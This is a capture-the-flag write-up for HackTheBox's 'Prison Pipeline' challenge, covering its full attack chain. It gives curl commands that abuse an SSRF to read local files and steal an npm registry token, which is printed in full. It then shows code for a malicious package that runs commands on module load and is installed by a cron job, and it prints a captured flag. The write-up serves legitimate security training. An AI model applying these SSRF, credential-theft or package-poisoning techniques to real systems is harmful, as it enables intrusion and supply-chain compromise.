Prison Pipeline
hackthebox_business_ctf_2024
Task: abuse an SSRF in node-libcurl-backed prisoner import to read local files and steal the private Verdaccio token. Solution: publish a compatible malicious prisoner-db update through a local Host-header proxy, let cron install it, then read the written flag back through file:// SSRF.
$ ls tags/ techniques/
Prison Pipeline — HackTheBox Business CTF 2024
One of our crew members has been captured by mutant raiders and is locked away in their heavily fortified prison. During an initial reconnaissance, the crew managed to gain access to the prison's record management system. Your mission: exploit this system to infiltrate the prison's network and disable the defenses for the rescuers.
Summary
Although the original challenge was placed under misc, the reliable solve path is best understood as a web + supply-chain challenge: a web SSRF leaks registry credentials, then a private npm package update yields code execution.
The accurate exploitation chain is:
POST /api/prisoners/importis SSRF vianode-libcurl.file://works, so local files are readable.file:///home/node/.npmrcleaks the Verdaccio auth token.- Publish a newer
prisoner-dbpackage version to the private registry. - Cron runs
npm outdated/update prisoner-dbagainstlocalhost:4873and restarts the app. - Malicious top-level package code runs on module load, calls
/readflag, and writes the result to/app/prisoner-repository/FLAG.txt. - Read that file back through the same SSRF using
file:///app/prisoner-repository/FLAG.txt.
Analysis
1. SSRF in /api/prisoners/import
The application imports prisoner data from a user-supplied URL. The underlying package uses node-libcurl, so this is not just HTTP SSRF: file:// also works.
That makes local file reads trivial:
curl -s -X POST 'http://TARGET:1337/api/prisoners/import' \ -H 'Content-Type: application/json' \ -d '{"url":"file:///etc/passwd"}'
The endpoint returns a prisoner id. Fetching that record shows the raw imported content.
2. Stealing the private npm token
The useful target is /home/node/.npmrc:
curl -s -X POST 'http://TARGET:1337/api/prisoners/import' \ -H 'Content-Type: application/json' \ -d '{"url":"file:///home/node/.npmrc"}'
The leaked token was:
//localhost:4873/:_authToken="MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6OGRjNDBlMDE3YWNhYjViYzEwM2RlOTQzYzg3OWZiN2YwY2EyZGI5ZmMwMGI4ZWViZWVhZmUzZjc0Y2I2MWFiOTZmNWI1OWVhNTg0N2IwZmIwZQ=="
This is enough to authenticate to Verdaccio.
3. Why the proxy method is the reliable one
The registry is exposed through nginx virtual-host routing, but the cron job itself talks to http://localhost:4873. The operationally clean solution is to run the provided local proxy:
/Users/sergeyskorobogatov/Projects/Agents/CTF/tasks/hackthebox/prison_pipeline/proxy.py
It listens on 127.0.0.1:4873 and forwards requests to the remote instance while forcing:
Host: registry.prison-pipeline.htb
This is better than editing /etc/hosts because it:
- needs no
sudo - avoids system-wide resolver changes
- matches the registry hostname requirement explicitly
- works directly with
npm publish --registry http://127.0.0.1:4873
So /etc/hosts changes are optional, not required.
4. Cron-driven supply-chain execution
The challenge cron job periodically checks whether prisoner-db is outdated, updates it from localhost:4873, then restarts the app. If we can publish [email protected], our code will be installed automatically.
The important detail is compatibility. A minimal fake package is not enough. The application expects the original module shape and dependencies, including:
curl.jsnode-libcurljs-yaml- a working
Databaseexport
If those are removed or stubbed too aggressively, the app can fail on restart and the exploit path becomes unreliable.
Solution
Step 1 — Start the local proxy
python3 /Users/sergeyskorobogatov/Projects/Agents/CTF/tasks/hackthebox/prison_pipeline/proxy.py
Prepare a local .npmrc for publishing through the proxy:
//127.0.0.1:4873/:_authToken="MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6OGRjNDBlMDE3YWNhYjViYzEwM2RlOTQzYzg3OWZiN2YwY2EyZGI5ZmMwMGI4ZWViZWVhZmUzZjc0Y2I2MWFiOTZmNWI1OWVhNTg0N2IwZmIwZQ=="
Optional verification:
npm --registry http://127.0.0.1:4873 whoami --userconfig .npmrc
Step 2 — Build a compatible malicious [email protected]
Do not replace the package with a tiny stub. Keep the original structure and only add module-load code.
Minimal working idea for index.js:
const fs = require('fs'); const yaml = require('js-yaml'); const CurlWrapper = require('./curl'); const { execSync } = require('child_process'); try { fs.writeFileSync('/app/prisoner-repository/FLAG.txt', execSync('/readflag').toString()); } catch (e) {} const curl = new CurlWrapper(); class Database { constructor(repository) { this.repository = repository; this.metadata = this.readJSON(repository + '/index.json'); } async importPrisoner(url) { try { const getResponse = await curl.get(url); const xmlData = getResponse.body; const id = `PIP-${Math.floor(100000 + Math.random() * 900000)}`; this.addPrisoner({ id, data: xmlData }); return id; } catch (error) { return false; } } // keep the rest of the original Database methods intact } module.exports = Database;
And package.json must remain compatible while bumping the version:
{ "name": "prisoner-db", "version": "1.0.1", "main": "index.js", "dependencies": { "js-yaml": "^4.1.0", "node-libcurl": "4.0.0" } }
Step 3 — Publish through the proxy
npm publish --registry http://127.0.0.1:4873 --userconfig .npmrc
This is the practical, repeatable path. The older custom PWN: backdoor flow is not needed as the main method.
Step 4 — Wait for cron and app restart
After the new package is available, the challenge cron job detects 1.0.1, runs the update, and restarts the pm2-managed app. Once the app starts and imports the package, the top-level code executes and writes:
/app/prisoner-repository/FLAG.txt
Step 5 — Poll the flag file via SSRF
Keep requesting:
curl -s -X POST 'http://TARGET:1337/api/prisoners/import' \ -H 'Content-Type: application/json' \ -d '{"url":"file:///app/prisoner-repository/FLAG.txt"}'
The response gives a prisoner id such as PIP-123456. Then retrieve it:
curl -s 'http://TARGET:1337/api/prisoners/PIP-123456'
Read the raw field. That contains the flag.
Final Retrieval Notes
On a fresh successful instance, one captured flag was:
HTB{pr1s0n_br34k_w1th_supply_ch41n!_221386c173e04f0ca313b0504e6c50bd}
Only the theme/prefix is stable. The trailing value is per instance, so do not treat the suffix as constant.
Pitfalls
- Do not make
/etc/hostsedits the primary solution; the provided proxy removes that need. - Do not present the
PWN:command-execution backdoor as the main exploit path; publishing module-load code is simpler and more reliable. - Do not replace
prisoner-dbwith an incompatible stub; preservecurl.js, dependencies, andDatabasebehavior so the app still boots. - Do not rely on
gopher://here. It is unstable and unnecessary for the clean solve path. - Do not expect the flag to appear instantly; wait for cron to update the package and restart the app.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar
Similar writeups
- [misc][free]Prison Pipeline— HackTheBox Business CTF 2024
- [misc][free]rustjail— b01lersc
- [web][free]Blueprint Heist— hackthebox
- [infra][Pro]SREga CTF — 8-Level SRE Challenge— srega
- [infra][Pro]Kobold— hackthebox